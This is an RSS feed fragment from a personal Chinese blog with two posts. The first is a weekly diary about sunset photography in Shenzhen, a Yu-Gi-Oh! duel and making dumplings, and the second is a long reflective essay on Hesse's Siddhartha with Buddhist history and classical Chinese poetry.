</content:encoded></item><item><title>周报35 法师桥的日落</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A535-%E6%B3%95%E5%B8%88%E6%A1%A5%E7%9A%84%E6%97%A5%E8%90%BD/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A535-%E6%B3%95%E5%B8%88%E6%A1%A5%E7%9A%84%E6%97%A5%E8%90%BD/</guid><pubDate>Tue, 04 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报35 法师桥的日落&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmUs4sHP4ebwtg4NUhuiY6tpgMZY2aacDKWEHVcdwBZJsm.png&quot; alt=&quot;zhoubao35&quot; /&gt;&lt;/p&gt;
&lt;p&gt;日落&lt;/p&gt;
&lt;p&gt;虽说来深圳很久了，但实际上也没有真正几次去过法师桥&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmXSzqsoBAnZfBDDTsfRfDD1sxDwZTJSmXVpM1pvagmuJ4.jpeg&quot; alt=&quot;2181c85341c368fe0a3f39106fae0eb3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;太好看的落日了，跟随着一群老法师，后海大桥也因此得名为法师桥&lt;/p&gt;
&lt;p&gt;下图是定定拍摄的，我在他的基础上进行了简单的调色处理，提亮建筑物的亮度会更好看一些&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmZaJmfWEuySoRRm6uJ9HRq53WMLw1iNCFJEa9sEcnW51j.jpeg&quot; alt=&quot;b2d932fe759cf5dd447417fcf9bbe1bc&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmRSg727XmrGaM11t85f29WSdVxgfYcssNBGaye9xusCzy.jpeg&quot; alt=&quot;83dc79ea1439c7b5b55bdd4b3b1c9151&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmYzKzK66KYcuh4G52AKh2rG1myKsZ6kavSjvmZSnEu4An.jpeg&quot; alt=&quot;aa259b3b9405d64cafdc1927c800b2d7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下图是我用iPhone13pro的超广角镜头拍摄的，整体的感觉氛围还是很棒的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmcttsJtGboCEw38TCk9Cfk9WvoD9fUnhQJExAhqSUmM5J.jpeg&quot; alt=&quot;DSC07021-已增强-降噪&quot; /&gt;&lt;/p&gt;
&lt;p&gt;谁让我的相机暂时没有超广角镜头呢，24端目前拍摄出的感觉是下图这样的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmRZpTb7VmguEdwYTXBEoTDMrZZMvTSWyRYb9fVt9fELNa.jpeg&quot; alt=&quot;IMG_3655&quot; /&gt;&lt;/p&gt;
&lt;p&gt;回想起从最初的相机小白，到现在已经买了两台相机加无人机加pocket，设备已经有点多了🤣&lt;/p&gt;
&lt;p&gt;对于拍照的热爱也在不断累积，消息小红书上的推荐帖子基本都是摄影调色相关的。&lt;/p&gt;
&lt;p&gt;调色也是我很喜欢做的，以前对于摄影的后期有误解，认为一定要直出才是最真实的，其实不过是对于自己懒惰的一种欺骗&lt;/p&gt;
&lt;p&gt;因为相机不同于人眼，再好的拍摄器材也有自己的局限性，后期不过是将照片的色彩还原为自己肉眼所看到的&lt;/p&gt;
&lt;p&gt;尤其是在强光，弱光，死光等各种情况下，其实都是需要后期参与的，而且后期的技术并不见得有多么复杂，基本的调色原理都是有迹可循的，饱和度，鲜艳度，明亮度，色调，色温，对比度，高光，阴影，白色色阶，黑色色阶，这些概念并没有那么难理解&lt;/p&gt;
&lt;p&gt;写到这里，又想到了教员的话，“你想要获得第一手的资料吗？那末，你就去实地考察吧”，唯有实践才能出真知，“你要知道梨子的滋味，你就得变革梨子，亲口吃一吃。你要知道原子的组织同性质，你就得实行物理学和化学的实验，变革原子的情况”&lt;/p&gt;
&lt;p&gt;游戏王实卡决斗&lt;/p&gt;
&lt;p&gt;来一场真正的游戏王决斗吧！周日和hh进行了一场真正的决斗，如下是我用刻魔蛇眼卡组展开的终场，其实有点失误了，不过问题不大，后场盖得另外两张卡，一张是无限泡影，另一张则是墓穴的指名者&lt;/p&gt;
&lt;p&gt;感觉很多人对游戏王还是存在偏见，其实这也是侧面反映出很多人对于自己不了解的事物，很容易忙着发表看法（反思下自己也是这样的）&lt;/p&gt;
&lt;p&gt;譬如文杰问了我一个问题，“你们玩游戏王用的是什么规则”，我最开始觉得有些奇怪，毕竟游戏王的规则说明书是一直公开的，但转念就知道了，其实小时候玩的都是村规，大家根本不知道规则就在那里瞎玩&lt;/p&gt;
&lt;p&gt;但我还是想给没有真正认识过这款游戏的人科普下，游戏王是世界三大TCG(集换式卡牌游戏)之一，另外两个分别是万智牌与宝可梦，游戏王的规则经过多次调整，现在已经是一个非常有趣耐玩的游戏了，不仅有线下实体卡，也有线上的电子游戏&lt;/p&gt;
&lt;p&gt;游戏王的召唤方式在我看来就是其最大的创新，不得不佩服设计师的丰富的创意，从初代的上级召唤，融合召唤，仪式召唤开始，同调召唤可以说是非常富有设计感的一种召唤方式，调整怪兽，星级数相加，既有策略性又有趣味性。&lt;/p&gt;
&lt;p&gt;超量怪兽的引入，正如其日文的xyz表述，在二维的卡牌上增加了立体的叠放动作，同时又限制了强力怪兽的效果发动次数。&lt;/p&gt;
&lt;p&gt;灵摆怪兽，也是最大的一次创新，可以与前述任意一种召唤方式结合&lt;/p&gt;
&lt;p&gt;链接召唤，一方面是为了降速，另一方面，链接箭头的设计，让二维平面上的卡牌之间又增加了一种联动关系&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmRLJauY6LgGTZCbcmidjr7tqwjjusffy1nqKMrwPJ4WN2.jpeg&quot; alt=&quot;IMG_3706&quot; /&gt;&lt;/p&gt;
&lt;p&gt;包饺子&lt;/p&gt;
&lt;p&gt;周五晚上和满哥呱呱小狐影砸阿E安安以及706的朋友们一起包饺子&lt;/p&gt;
&lt;p&gt;果然自己包饺子还是得蒸饺才最有容错性，煮饺子很容易失败，蒸饺子则相对稳定&lt;/p&gt;
&lt;p&gt;忙活了好久，虽然我只会打打下手加包不太像样的饺子，但看到新鲜出炉的饺子还是很开心&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmRCtW7Kk42cQaxvboaLuDJ7oZBNhF7WK3joudUgCc1ptE.jpeg&quot; alt=&quot;394adeaf02c4b31bb85da82aba6069a1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmX9wHxC3rBa2HrpdE9XaxbH3hWSVgdvYRean29LvPbfqd.jpeg&quot; alt=&quot;aebd942c4eb85357ed5392e2df0c4cfa&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmTGrKk6ERzQYWJ7gKRnKXy1rx3mgH9vQdyppqjQRNpS2T.jpeg&quot; alt=&quot;a187a24f256bd31c6b38d23a8d22efd3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;值得分享的事物&lt;/p&gt;
&lt;p&gt;好像也没啥太多值得分享的，欢迎 join 我的频道
https://t.me/RayeJourney&lt;/p&gt;
</content:encoded></item><item><title>《悉达多：一首印度的诗》 分享</title><link>https://rayepeng.net/posts/%E6%82%89%E8%BE%BE%E5%A4%9A%E4%B8%80%E9%A6%96%E5%8D%B0%E5%BA%A6%E7%9A%84%E8%AF%97-%E5%88%86%E4%BA%AB/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%82%89%E8%BE%BE%E5%A4%9A%E4%B8%80%E9%A6%96%E5%8D%B0%E5%BA%A6%E7%9A%84%E8%AF%97-%E5%88%86%E4%BA%AB/</guid><pubDate>Thu, 05 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;《悉达多：一首印度的诗》 分享&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreie5kgfuvgh7lwrcsd5ckr2yto5faa6c544o6zp4633ireihqkdtrm.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;https://book.douban.com/subject/26980487/
作者：赫尔曼·黑塞
译者：姜乙&lt;/p&gt;
&lt;p&gt;豆瓣简介：
《悉达多》并非是佛陀的故事，它讲述了一个人的一生，千万寻常人亦会经历的一生。
意气风发的少年郎，常认为自己是被命运选中的人。抛下过去，随了跌跌撞撞的步伐，找寻心中的声音，追逐名利，经历友情，品尝爱情。不同的是，悉达多一生追求的是生命的圆融统一，看似宏大，确是每个人无法回避的问题。
黑塞的语言是充满诗性的，正如本书副题“一首印度的诗”，因不得而知的原因，此副题在前人所出版本中都被回避了。为了尽可能表现黑塞的诗意，我们选择从德文直译，尽管我们的译文不能完全实现这种诗意，但其诗的本性与精神显而易见。
本书地位在前人的版本中已被反复强调——亨利·米勒的最爱；影响了包括电台司令在内的许多名人雅士；在六十年代美国掀起过阅读黑塞的热潮，大学生们人手一册等等。
但如书中成为摆渡人的悉达多所述，智慧无法分享，它可以被发现，被体验。
所以倘若你碰巧遇到了这本小书，请细细品味其中的文字。
愿你在读了悉达多的故事后，也能有所感悟，并开始体验属于自己的人生。&lt;/p&gt;
&lt;p&gt;关于这本书的故事
1967年，保罗柯艾略20岁，他被送进了巴西的一家精神病院里。
他的名字你可能不熟悉，但是你肯定听过《牧羊少年的奇幻之旅》，作者就是保罗柯艾略。
他的一生本来应该被精神病院葬送的，但是一本书拯救了他。（ps. 这本书是保罗柯艾略女朋友给他邮寄到精神病院的
这本书就是我们今天要分享的《悉达多》。&lt;/p&gt;
&lt;p&gt;我想很多人和精神病人保罗的感受是一样的，在读这本书的时候，内心期望的会是一个圣人的故事，但读完后不免有一些些失落，这本书除了语言异常优美外，似乎并不像许多人说的那样能解答人生的终极问题。&lt;/p&gt;
&lt;p&gt;《悉达多》所讲述的，不过是一个世俗人的烦恼故事，似乎书中昙花一现的佛陀，才是许多人追求的目标，悉达多，这个人的内心怎么会有这么多阴暗的情感呢？这么多恐惧呢？&lt;/p&gt;
&lt;p&gt;但保罗悟出来了，悉达多是执意要将自己的生命本质去寻找自我，在大千世界中不迷失自己。&lt;/p&gt;
&lt;p&gt;在阅读完这本书之后的几天，保罗就出院了。出院当天，他回望精神病院的铁栏杆，想起精神病院里的疯子对他说，他们要一辈子待在精神病院里，与世隔绝永远不出去。为什么呢？因为外面的世界太难面对了。&lt;/p&gt;
&lt;p&gt;这个时候，保罗柯艾略对自己说：我发誓，我选择生命。(ps. 我命油我不油天&lt;/p&gt;
&lt;p&gt;好了这本书的分享就到这里为止了，我已经总结完了 /手动狗头（此处埋个伏笔）&lt;/p&gt;
&lt;p&gt;佛陀是谁？
佛陀，意为“觉悟者”，本名乔达摩·悉达多，又尊称为释迦牟尼
佛陀生活在约公元前6至前5世纪的古印度，原本是释迦族的王子，后来出家修行，经过长期的修炼和思考，在菩提树下获得觉悟（菩提），成为“佛陀”，意为“觉悟者”或“开悟者”。&lt;/p&gt;
&lt;p&gt;在你的心目中，佛陀是一个什么样的形象？
是洞窟里的佛菩萨像？还是栩栩如生的壁画？亦或是在藏经洞里发现的画匠们创作的涂鸦草稿？&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiatf3hbzvq2cjeqfdfp7rdgp6fufuye5kdm2gvj5wb66tmxt2aptu.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeigduhnh7z36dz2ukztitwpvsg3j7z6fgrpcxjxhtelf755bm4edty.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;传言佛陀是生活在公元前5世纪的人，但要到公元2世纪左右，佛陀的形象才开始流行，不同地区的佛陀的形象各不相同，最开始的佛像更多的是一个“符号”，并不是代表真实存在的佛陀形象，主要是为了供后人忆念和瞻礼佛功德之用。、&lt;/p&gt;
&lt;p&gt;《金刚经》中有言：“若见诸相非相，即见如来”，意思是说，要见到真正的“如来”，必须知道种种的外相都不具备永恒性。&lt;/p&gt;
&lt;p&gt;既然最高境界是“诸相非相”，那为什么还要有这么多金碧辉煌的佛像呢？释迦牟尼也不过就是两千多年前的悉达多太子，怎么就变成了类似电视剧中“如来佛祖”一般的形象呢？&lt;/p&gt;
&lt;p&gt;在佛教中，有“三身佛”的说法，即佛有三种身相，分别是“应化身”，“报身”和“法身”，觉悟程度深浅不同的人，所见到的佛就会呈现出不同的样貌。所谓“应化身”，如我等凡夫俗子，尚未觉悟，所以看到的佛陀就是和尚，跟平常人一样。已经觉悟的菩萨，所看到的佛陀形象则是庄严恢弘的，这就是佛的“报身”，“法身”，则是说真正的“佛”就是无形无相，随众生的心而显现出不同的样子。&lt;/p&gt;
&lt;p&gt;最后，历史上是否真的有佛陀其人呢？&lt;/p&gt;
&lt;p&gt;直到1898年，一位名叫佩普的英国工程师，他在印度比普罗瓦考古发现了一个装有佛陀遗骨的舍利瓮，而就在前一年的尼泊尔的蓝毗尼，尼泊尔总督雷纳将军和德国考古学家福勒博士，发现了在佛陀出生地出土的阿育王石柱。这些新发现最终让西方学者开始相信，佛陀并非是神话人物，而是曾经活生生地在印度行脚弘法的一位僧侣。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiajax56mdq76vwajd3omuhy5obx5oyslr5a6io233ejrqtipzrtcy.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;悉达多为什么要离家出走？&lt;/p&gt;
&lt;p&gt;佛陀，即乔达摩·悉达多，大约在19岁成亲，娶了城中的美人耶输陀罗，但却在29岁毅然出家，经历数年苦修，终于35岁在菩提伽耶觉悟，然后在北印度赤足游历讲法45年，最终于80岁时在拘尸那迦涅槃。&lt;/p&gt;
&lt;p&gt;佛陀本属于释迦族。释迦族本身属于刹帝利种姓，即贵族阶层。&lt;/p&gt;
&lt;p&gt;在《悉达多》开篇，黑塞是这样形容悉达多的：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;悉达多，俊美的婆罗门之子，年轻的鹰隼，在屋舍阴凉处，在河岸船旁的阳光中，在婆罗双林和无花果树的浓荫下，与他的好友，同为婆罗门之子的乔文达一道长大。&lt;/p&gt;
&lt;p&gt;而最爱他的人是乔文达。他爱他的步态，他行动时的优雅完美。他爱悉达多的一切言行，但更爱他的精神，他崇高激昂的思想、强大的意志和高贵的使命感。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;用现在的话来说，悉达多是一位“富二代”，既不用担心生计，婚姻，事业也应该想当顺利，是我们非常羡慕的生活状态，这样的世俗人生，似乎没有任何理由主动放弃。&lt;/p&gt;
&lt;p&gt;那么，他为什么要出家呢？&lt;/p&gt;
&lt;p&gt;关于佛陀想要出家修行的动因，更为直接的描述，则是太子经历四个城门的故事：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;有一天悉达多太子出行，在其中一个城门，他见到一个耄耋老人，于是问侍从，这个人为何这般模样？侍从告诉太子，这就是“老”：“夫老者生寿向尽，余命无几，故谓之老。” 第二天，太子又在城门遇见一位重病的人，问侍者这又是什么情况？侍者回答说这是“病人”，太子于是追问什么是“病”，侍者回答说：“众痛迫切，存亡无期，故曰病也。” 又有一天，太子在城门处遇见有人亡故，亲人们嚎哭围绕。太子又问：“死为何？”侍者则回答：“死者，尽也。风先火次，诸根坏败，存亡异趣，室家离别。” 短短数语，道尽了人生的无奈。&lt;/p&gt;
&lt;p&gt;当太子再度出游时，却见到街道上有一位出家的沙门，便好奇询问侍者这是何人。侍者告知，那是“沙门”：“舍离恩爱，出家修道，攝御诸根，不染外欲，慈心一切，無所伤害，逢苦不慼，遇乐不欣，能忍如地。” 也就是说，出家修道能让人远离欲望的伤害，并且对于众生升起无尽的慈悲，这让年轻的太子非常羡慕，萌生了出家修行的念头。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;而在小说《悉达多》中，黑塞用文学化的方式描述了悉达多的出家时刻：“乔文达意识到：时候到了，悉达多要去走自己的路。他的命运即将萌发。”&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;那时，三位沙门经过悉达多所在的城邑。他们是去朝圣的苦行者，不老也不年轻。憔悴、消瘦，几乎全裸的身躯被阳光暴晒得焦黑，尘埃和血迹布满肩头。他们是人类王国的异乡人，骨瘦如柴的胡狼。孤独、绝尘，与世界为敌。一种由无声的激情、不惜一切去献身、无情的肉体灭绝构成的灼热气息回旋在他们周身。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在黑塞的小说中，悉达多是主角，他的同伴叫乔文达，书中他俩曾一同去拜访佛陀乔达摩&lt;/p&gt;
&lt;p&gt;ps. 私以为，佛祖的本名叫乔达摩 · 悉达多，黑塞将其拆分成两个人物，所以文中的悉达多其实也是佛陀，是悟道的另一条路&lt;/p&gt;
&lt;p&gt;沙门修行&lt;/p&gt;
&lt;p&gt;悉达多与乔文达一同离开了家乡，开始了一段充满挑战的苦修生活，他们通过冥想、禁食和压抑感官欲望来试图摆脱自我和世俗的束缚。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;他遇见女人时目光冷淡，遇见城中穿着华美之人，嘴角流露出轻蔑。他见到商贩经商，君侯外出狩猎，服丧者哀嚎，娼妓出卖色相，医生救治病人，祭司定夺播种之日，情侣们相互爱抚，母亲们哺乳——这一切都让他不屑。&lt;/p&gt;
&lt;p&gt;悉达多唯一的目标是堕入空无。无渴慕，无愿望，无梦想。无喜无悲。​“我”被去除，不复存在。让空洞的心灵觅得安宁，在无“我”的深思中听便奇迹。这是他的目标。当“我”被彻底征服，当“我”消亡，当渴求和欲望在心中寂灭，那最终的、最深的非“我”存在，那个大秘密，必定觉醒。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;然而，悉达多很快就意识到，沙门苦修不过是一种徒劳，并不是真正能够接近觉悟的道路。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;悉达多道：​“我并不这么看，我的朋友。至今我在沙门处学到的东西，乔文达，我本可以更快更便捷地学到。在花街柳巷的酒馆里，我的朋友，在脚夫和赌徒处，我都能学到。​”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;遇见乔达摩&lt;/p&gt;
&lt;p&gt;沙门的禁欲与苦修，并无法帮助悉达多真正解答关于存在、苦难和解脱的问题。他逐渐意识到，这些修行方式虽然提供了某种控制欲望的方法，却不能触及生命的本质。正是在这种疑惑与不满足的驱使下，悉达多听闻了佛陀——乔达摩前来宣法，于是便于乔文达一同拜访了佛陀。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;夜幕降临，酷热消歇，祗园中的人们活跃起来，聚集在一处聆听佛陀宣法。
这时，他们听见佛陀的声音。那声音美满，安宁，平和。他论苦谛，苦之缘起及其灭往何处去。他平静的论述安详清晰。苦乃人生实相，但离苦之道业已被发觉，跟随佛陀即可脱离苦海。
世尊以柔和坚定的声音论四圣谛，讲八正道。他耐心地以惯常的方式讲经，举证，温故。他的声音明亮而安静地盘旋在听者上空，如光影，如星辰。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;乔文达立即为佛陀的智慧，宁静的气质与深刻的洞察力所拜服，并想要追随佛陀修行
而悉达多却不愿成为佛陀的追随者，&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;乔文达不断地追问他的朋友，他想听他解释，他为何不容身乔达摩之法义，他在他的法义中发现了什么瑕疵。而悉达多却总是驳回追问：​“不要再问了，乔文达！佛陀的法义非常之好，我怎么可能发现瑕疵？​”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;然而悉达多确实发现了乔达摩的缺陷，他清楚地意识到，每个人的觉悟之路是独特的，无法通过模仿或追随他人来获得。佛陀已经完成了他的修行道路，而悉达多必须去探索属于自己的道路。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;只是，在您的法义中，在统一、逻辑完善的万物中却存在一个断裂之处。这一小小的缝隙让这个统一的世界呈现出些许陌生、些许新奇；呈现出些许迥异于从前，且无法被证实的东西：那就是您的超世拔俗，获得解脱的法义。这个小漏洞，这个小断裂，让永恒统一的世界法则变得破碎，失去效力。但愿您能宽恕我所提出的异议。​”
哦，世尊佛陀，您从未以言辞或法义宣讲您在证觉成道之际所发生的事！世尊佛陀的法义多教人诸善奉行，诸恶莫作。在明晰又可敬的法义中不包含世尊的历程，那个您独自超越众生的秘密。这就是我在聆听法义时思考和认识的。这就是我为何要继续我的求道之路——并非去寻找更好的法义，我知道它并不存在——而是为摆脱所有圣贤及法义，独自去实现我的目标，或者去幻灭&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在这一刻，悉达多与乔文达分道扬镳。他想要独自去实现他的目标，或者走向幻灭。&lt;/p&gt;
&lt;p&gt;另一条悟道之路
告别沙门生活之后，悉达多才开始体验到真正的生活&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;他环视四周，宛如与世界初逢。世界是美的，绚烂的；世界是奇异的，神秘的！这儿是湛蓝，这儿是灿黄，那儿是艳绿。高天河流飘逸，森林山峦高耸。一切都是美的。一切都充满秘密和魔力。而置身其中的他，悉达多，这个苏醒之人，正走向他自己。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;原来的他，曾一直把现实世界看做虚妄，看做偶然和毫无价值的皮毛，但现在他已真正觉醒，他开始从头开始新的生活。&lt;/p&gt;
&lt;p&gt;他遇到了聪慧美丽的妓女迦摩罗，向她学习爱情的艺术，开始接触世俗的享乐，开始学习经商之道，凭借着自己的智慧，又过上了奢华而舒适的生活。&lt;/p&gt;
&lt;p&gt;但是呢，他也逐渐被物质的欲望吞噬：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;世俗将他囚禁。情欲、贪欲和惰性，以及他最蔑视、时常嘲笑、视为最愚昧的唯利是图俘虏了他。他拜倒在钱财下。赚钱于他不再是游戏和琐事，而是枷锁和负荷。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;于是他又开始对这种生活方式感到厌倦和厌恶，在经历了世俗生活的美与苦之后，他又重新走上了悟道之路。&lt;/p&gt;
&lt;p&gt;作为他的伴侣，迦摩罗其实是非常了解悉达多的&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;唯有聪明的迦摩罗深知，他内心仍是个沙门。指引他生活的一直是思考、等待和斋戒的技艺。他和孩童般的世人间彼此依旧陌生。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我在看到这句话的时候写了个批注：这其实就是很多中国人的真实写照，入世则克己复礼，杀身成仁，出世则清心寡欲，黄粱一梦。如果用大白话来说的话就是，卷又卷不过，躺又躺不平。&lt;/p&gt;
&lt;p&gt;于是悉达多选择了离开，他好似涅槃一样，又重新回到了一无所有，只是，此刻他已青春逝去，两鬓斑白，体力渐衰。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;他只盼忘掉自己，得到安宁，甚至死去。只求闪电击毙他！虎狼吞噬他！只求一杯毒酒麻醉他，让他遗忘、沉睡，永不醒来！这世上还有哪种秽迹他没习染？还有什么罪孽和蠢行他没触及？还有哪一隅灵魂的荒蛮之地他没驻足？他岂能再活？再呼吸？再感觉饥饿，再吃，再睡，再和女人同笫？这轮回不是耗尽和桎梏了他？
那么，他想：无常之物已远离我。像儿时一样，我又一无所有，一无所能，无力又无知地站在阳光下。多么奇异！在青春逝去、两鬓斑白、体力渐衰的时候一切从儿时开始！他笑了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我曾不记得是从哪里看到过一篇古文，说人生快意之事无非是金榜题名，洞房花烛。但真正最值得铭刻的，莫过于你正得意之时，被一棒子打到在地，失去所有，从零开始，这也是当前悉达多的真实写照吧&lt;/p&gt;
&lt;p&gt;河边悟道
最后他来到了一条河边，此刻他已老去，变得很普通的老头别无二致。
就在他濒临崩溃的时刻，河水的声音唤醒了他。他开始学会了倾听河流的声音，学会欣赏山川草木，一花一石。
平静流淌着的水流，让他重新感受到了生命的意义，“逝者如斯，而未尝往也；盈虚者如彼，而卒莫消长也。” 河流并不会因为他的绝望而改变，它依然流淌不息，仿佛在向他诉说着某种深刻的真理
此刻，悉达多已不再执着于追求外在的真理，而是接受了生命本身。&lt;/p&gt;
&lt;p&gt;也许，真正的智慧本来就不是通过抗争或逃避获得的，而是通过与生命和解、接受万物的本来面貌来实现的&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这个， ”他摆弄着， “是一块石头。一段时间后，它或许成为土，生出植物，变成动物，变成人。过去我会说，它不过是块石头，毫无价值...
但今天我却想，这块石头就是石头。它也是动物，是神，是佛。我不会因它终将变为这个或那个而敬爱它，而会因为它一直是石头——正因为它是石头——今天和现在出现在我面前的石头而爱它。看到它每条纹理中，每道沟渠中，黄色、灰色中，坚硬中，我敲击它发出的声音中，它表面的干燥和潮湿中存在的意义和价值。有些石头如油如皂，有些像叶似沙，每块石头都不同，都以其特有的方式念诵着‘唵’。
每块石头都是梵天，但同时，它又确实是石头。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;有一句点评写得好，只有经历过的那些体验，才有了此刻的你（此处回应开头伏笔）&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;你是你接触过的人，碰到过的物，感受过的情爱，迷失过的痛苦，家乡的老树，街边的路灯，吃过的烧烤摊……等等所有的体验，才有此刻的你。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;悉达多从年少时轻蔑欲望，到青年时拒绝欲望，到中年时沉迷欲望，到老年时超脱欲望，不断从经历中看到自己的“我”，摈弃了善恶，
至此，他能够对现实生活中的人们有了更深层次的理解，听到了河流的生命，当悉达多专注于河水咆哮的交响，他不再听到哀，听到笑，当他的灵魂不再执念于一种声音，自我不再被占据，而是倾听一切，倾听整体和统一时，
这伟大的交响，凝成一个字，这个字就是“唵”，意为圆满。悉达多和佛陀一样，最终成就了自己的生命。&lt;/p&gt;
&lt;p&gt;我读完《悉达多》的时候，最先浮现在脑海边的就是蒋捷的这首虞美人：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;少年听雨歌楼上，红烛昏罗帐。壮年听雨客舟中，江阔云低、断雁叫西风。
而今听雨僧庐下，鬓已星星也。悲欢离合总无情，一任阶前、点滴到天明。
—— 蒋捷 《虞美人 · 听雨》&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这首词以“听雨”的切入点，时空跳跃，三幅不同场景下的听雨画面，有点类似一个长焦镜头，将人生的一幅画卷压缩到了极致
少年时：不识愁滋味，“钿头银篦击节碎，血色罗裙翻酒污，今年欢笑复明年”
中年时：颠沛流离的悲凉沧桑；
老年时：历尽离乱后的憔悴枯槁一生的悲欢离合，谁也说不清，听那窗前的秋雨一无所动，任它滴滴答答直到天明。&lt;/p&gt;
&lt;p&gt;同样的视角，王国维在《人间词话》中总结的三重境界也有异曲同工之妙：
第一重境界：“昨夜西风凋碧树，独上高楼，望尽天涯路”；—— 悉达多舍弃富足的生活，毅然踏上了沙门的苦修之路。
第二重境界：“衣带渐宽终不悔，为伊消得人憔悴”；——悉达多经历沙门的苦修生活
第三重境界：“众里寻他千百度，蓦然回首，那人却在灯火阑珊处”。—— 悉达多最后在河边悟道&lt;/p&gt;
&lt;p&gt;那么悉达多悟到了什么呢？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;世间的每一瞬间皆为圆满。一切罪孽都承载宽赦，所有孩童身上都栖息老人，所有新生儿身上都栖息亡者，所有将死之人都孕育永恒的生命。没人能看清他者的道路。强盗和赌徒的路或许通向佛陀，婆罗门的路或许通往强盗。在最深的禅定中存在这种可能：时间被终结，人视过往、当下和未来的生活为同时。这时，一切皆为善、圆满和梵天。因此在我看来，世间存在的一切皆好。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;可以总结为：
1.时间：每一个瞬间都有其存在的意义，当你超越时间的限制来看待生命时，一切都是圆满和统一的
2.善恶：即便是看似堕落的路径，也可能带来觉悟；而看似纯净的道路，也可能引向迷失。
3.万物皆为善：梵天象征着宇宙的最高统一性，它包容一切，无论是我们眼中的“好”还是“坏”。&lt;/p&gt;
&lt;p&gt;感悟
读这本书的时候，一些曾经记得的句子总是会在我脑海里回响
“不入世，不足以谈出世。最高深的修行不是在寺庙山林，而是在菜场写字楼，”
“没逛过菜市场，不足以语人生”
“我欲乘风归去，又恐琼楼玉宇，高处不胜寒”
“你要去爱具体的人，而不是爱抽象的人”&lt;/p&gt;
&lt;p&gt;厌恶生活又受困于生活，对生活的种种表示鄙夷，却又在生活面前臣服，昂着头下跪。&lt;/p&gt;
&lt;p&gt;我常因为自己参透了很多道理，看透了事物的本质而沾沾自喜，冷漠地凝视着那些还在迷局中的人们，自视与他人不同，其实自己也还并未探明前路。真正拥有大爱的人不应该是冷漠的，应该是包容、温柔、懂得倾听和拥抱苦难的人，这样的人才真的能助人渡河。&lt;/p&gt;
&lt;p&gt;你看悉达多当苦行僧的时候，用尽各种办法，希望能够忘记自己、放下自己，可是怎么都忘不掉、放不下。后来他阅尽人间繁华，享受人间一切，所有的世俗都明白之后，突然就开悟了。&lt;/p&gt;
&lt;p&gt;我们其实害怕自己的欲望，因为“人的欲望就如同高山上的滚石，一旦开始，就再也停不住了”，于是我们着迷于那些自律的神话，妄图通过苦修，压抑来抵制它。但不妨多给自己一点自信，试着去满足自己的欲望，到一定时候，“你就会像我一样精疲力尽，坐回到自己的位子上才发现，原来我想要的一切都已经在我出发的地方等着我了。”&lt;/p&gt;
&lt;p&gt;其实哪有那么多超然物外，淡泊名利，宁静致远，大胆去体验就行了。&lt;/p&gt;
